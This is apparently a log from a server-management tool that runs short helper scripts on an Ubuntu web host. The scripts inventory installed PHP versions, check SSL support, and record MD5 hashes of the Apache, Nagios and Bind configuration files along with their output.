Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 171220
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      171220  0.0  0.9 323952 38760 ?        Ss   Jun11   0:19 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-06-13 14:47:35: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'dgmarshall',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2026-06-13 14:47:35: 

PUT: /tmp/pkp890589

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-06-13 14:47:35: 

chmod 755 /tmp/pkp890589; /tmp/pkp890589; rm /tmp/pkp890589

2026-06-13 14:47:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-06-13 14:47:35: 

PUT: /tmp/pkp446513

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-06-13 14:47:35: 

chmod 755 /tmp/pkp446513; /tmp/pkp446513; rm /tmp/pkp446513

2026-06-13 14:47:36: 


[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.22


2026-06-13 14:47:36: 

PUT: /tmp/pkp132269

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-06-13 14:47:36: 

chmod 755 /tmp/pkp132269; /tmp/pkp132269; rm /tmp/pkp132269

2026-06-13 14:47:36: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_nntps)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_time)= 1e9875c9b5ea540fd7733a0b02fada53
bin(/usr/local/nagios/libexec/check_nt)= 3fa95b15533e9c88543ffcd71f2fe40b
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 88a206459ec8a913e93b228e910ce67a
bin(/usr/local/nagios/libexec/check_apt)= 22b4f86286f6c23874c3023adbccecc1
bin(/usr/local/nagios/libexec/check_imap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_icmp)= 4162517468ed73d84c9cb4375898d78e
bin(/usr/local/nagios/libexec/check_tcp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_dig)= 9e404209b923ca562ab25b97e8360f28
bin(/usr/local/nagios/libexec/check_mrtg)= ded945e92e21d981251d50536dcf18d0
bin(/usr/local/nagios/libexec/check_dns)= 101b924a73ccb26a09af66930f8c29c2
bin(/usr/local/nagios/libexec/check_nwstat)= 16d6b8b99b9677ace8035b362b9cfa6d
bin(/usr/local/nagios/libexec/check_pop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_clamd)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk_smb)= a0addfa4f7a59ab39d7c22903bd03591
bin(/usr/local/nagios/libexec/check_jabber)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk)= 75f7db1e8c11e25e168c75fe02f16f83
bin(/usr/local/nagios/libexec/check_ssh)= 0da91416fd7f73af7252a747961cc0fa
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_ups)= e3cb868f84f02b48587b160065a49729
bin(/usr/local/nagios/libexec/check_ifstatus)= 3fa7c282c0d64611ba956a1a62d955f6
bin(/usr/local/nagios/libexec/check_mailq)= 2a9a5be3ea16b80a021054f213d2a4dd
bin(/usr/local/nagios/libexec/check_log)= c11e83499380bf54090f23f2c2dff71e
bin(/usr/local/nagios/libexec/check_nagios)= 887c5d4b15f5470cc428b719b6aa5618
bin(/usr/local/nagios/libexec/check_ntp_time)= 41e0b76bc270eac4e5cb68be2503317d
bin(/usr/local/nagios/libexec/check_smtp)= 7d19de04a51638615aede0fd7f36f8f8
bin(/usr/local/nagios/libexec/check_dhcp)= c4a1eb272d41ee39d6fe3ecdef526f8f
bin(/usr/local/nagios/libexec/check_ntp_peer)= 09b4b11c6697984946b9ca681502c595
bin(/usr/local/nagios/libexec/check_http)= 55a7d45e13bcc6724f51469dfe8489b3
bin(/usr/local/nagios/libexec/check_flexlm)= 9f6100f7ab1b0511b276dc3adc3581f3
bin(/usr/local/nagios/libexec/check_load)= c5d4af31efd52835fb9281994fad5381
bin(/usr/local/nagios/libexec/check_sensors)= ff31dc74c18f5745178a88ee209f7199
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_ntp)= 0f84108f663334402ab1ddd798e9c73d
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3de0691a4833084c61d63f8dab433fcd
bin(/usr/local/nagios/libexec/check_ircd)= f43249e02df45308f25c31ac5879859b
bin(/usr/local/nagios/libexec/check_file_age)= 4ca1b31c4727146655023808c501658a
bin(/usr/local/nagios/libexec/check_swap)= 298b1ee455ee25389b25d8173ad8ccfb
bin(/usr/local/nagios/libexec/check_dummy)= fb4c1e391fe2d37452b1dbc6fdc0f0fa
bin(/usr/local/nagios/libexec/check_cluster)= bcc1b5d1a959a980ee755ff3c157fca2
bin(/usr/local/nagios/libexec/check_ide_smart)= 48b733285b0a2d4d473db54efe4457f7
bin(/usr/local/nagios/libexec/check_ping)= 8bb007231029700a1659553a16321bfa
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_overcr)= 24457c37bfca07b7dad91a3223ac4640
bin(/usr/local/nagios/libexec/check_breeze)= 28bc7630e205482708923d2985361390
bin(/usr/local/nagios/libexec/check_uptime)= fd91968d366ae0fd2a6df13185f3669b
bin(/usr/local/nagios/libexec/check_nntp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_udp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_real)= f2489c04cf946b095bed1366f8f0df35
bin(/usr/local/nagios/libexec/check_ftp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_by_ssh)= 8b3e62f3ba31a179d61c21f0eac0aa11
bin(/usr/local/nagios/libexec/check_ssmtp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_spop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_procs)= 67a29b52608ad36a6467fd5896bb620e
bin(/usr/local/nagios/libexec/check_wave)= 43eebe3022fa6667f5ff578067dc4c0d
bin(/usr/local/nagios/libexec/check_simap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_users)= 9c8ca7b5b64407598bef6b769062090c
bin(/usr/local/nagios/libexec/check_rpc)= 6511971a137e9df4658da51f8f892e76
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_oracle)= 4b3e86763d33cb262524bc3ee4bea311
bin(/usr/local/nagios/libexec/check_php.php)= 6a57c97a068e4096b2875dbb469b0322
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5


2026-06-13 14:47:36: 

PUT: /tmp/pkp799287

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-06-13 14:47:36: 

chmod 755 /tmp/pkp799287; /tmp/pkp799287; rm /tmp/pkp799287

2026-06-13 14:47:36: 


status=ok


2026-06-13 14:47:36: 

PUT: /tmp/pkp812969

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 14:47:36: 

chmod 755 /tmp/pkp812969; /tmp/pkp812969; rm /tmp/pkp812969

2026-06-13 14:47:36: 
(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/drewmarshall_audio_ca.conf)= 22d8357d9cce5e6bcf2e85b6b1281b08
MD5(/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt)= f7e519c0109a23fb79879991255db580
MD5(/etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf)= 8166627ceae313f355153c8125d9da37
MD5(/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt)= b46a3181492d1541403ddc620e08485f
MD5(/etc/apache2/sites-available/bucketgigs_www_ca.conf)= 158f403d5a915a7f62aa737f42f69b2d
MD5(/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt)= c4519d4ed2f35d748c45752387618088
MD5(/etc/apache2/sites-available/dgmarshall_www_ca.conf)= 3c89aebb4968fdfc28382b74bf36bc10
MD5(/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt)= 3206a9b6022c07e39d15ac83feaa8106
MD5(/etc/apache2/sites-available/hillrunfarm_www_ca.conf)= 05ab5b23b6d57df119a4873e563dadfc
MD5(/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt)= ab4856e1201daadfca842c05aa62efc8
MD5(/etc/apache2/sites-available/anassnamedgrace_www_com.conf)= 262a064a4b2d345200880c3fdfae8dfa
MD5(/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt)= 5bd2ca0a8e98d0dd1900c27f705e8b2c
MD5(/etc/apache2/sites-available/drewmarshall_datinggame_ca.conf)= ebbdb34ad2f362df48307d46789d9a97
MD5(/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt)= b71b085928656ca6d52f901f3896e3e8
MD5(/etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf)= 537f81295d0edea87734555d50bb3052
MD5(/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt)= e32a14edc6f85c3a8179aeada63beac7
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 378517eabf659f2d4c939bc2bcaf1578
MD5(/etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf)= 13d11aee1a717ab7f0d1568d05976f14
MD5(/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt)= 4e36c37ca433619e0ed2aed323f8ec5d
MD5(/etc/apache2/sites-available/drewmarshall_www_ca.conf)= ed696aa19719c408a1f6be693b4ccc7c
MD5(/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt)= 4b3b53a1dcb385a90d1757ba5f5cbc03
MD5(/etc/apache2/sites-available/ineedtosaythis_www_com.conf)= 662c372961ad6aa5d2639dbb608864e1
MD5(/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt)= f181427fc16f1634b1e385a57e6ca5db
MD5(/etc/apache2/sites-available/drewmarshall_dgm_ca.conf)= 66aca7cfcca7570702b87aee8bdbb1c7
MD5(/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt)= f2feecac1ec2b4679abc3bc47a052598
MD5(/etc/apache2/sites-available/sosretreatscanada_www_com.conf)= 22dad0a24222118b4c6f672028e333e3
MD5(/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt)= f0083b6d1ec919234396801c1c000d2e
MD5(/etc/apache2/sites-available/dgmarshall_www_com.conf)= 490697078812a3bb1edb12fbd987d526
MD5(/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt)= a634466b97da7ede4d2a66bf4bf48894
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2/sites-available/drewmarshall_audio_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf
link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2/sites-available/bucketgigs_www_ca.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2/sites-available/dgmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2/sites-available/hillrunfarm_www_ca.conf
link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2/sites-available/anassnamedgrace_www_com.conf
link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2/sites-available/drewmarshall_datinggame_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2/sites-available/drewmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2/sites-available/ineedtosaythis_www_com.conf
link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2/sites-available/drewmarshall_dgm_ca.conf
link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2/sites-available/sosretreatscanada_www_com.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2/sites-available/dgmarshall_www_com.conf




STDERR:
/tmp/pkp812969:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-06-13 14:47:45: Establishing a connection
2026-06-13 14:47:45: 

PUT: /tmp/pkp781998

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-13 14:47:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp781998; rm /tmp/pkp781998'

2026-06-13 14:47:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
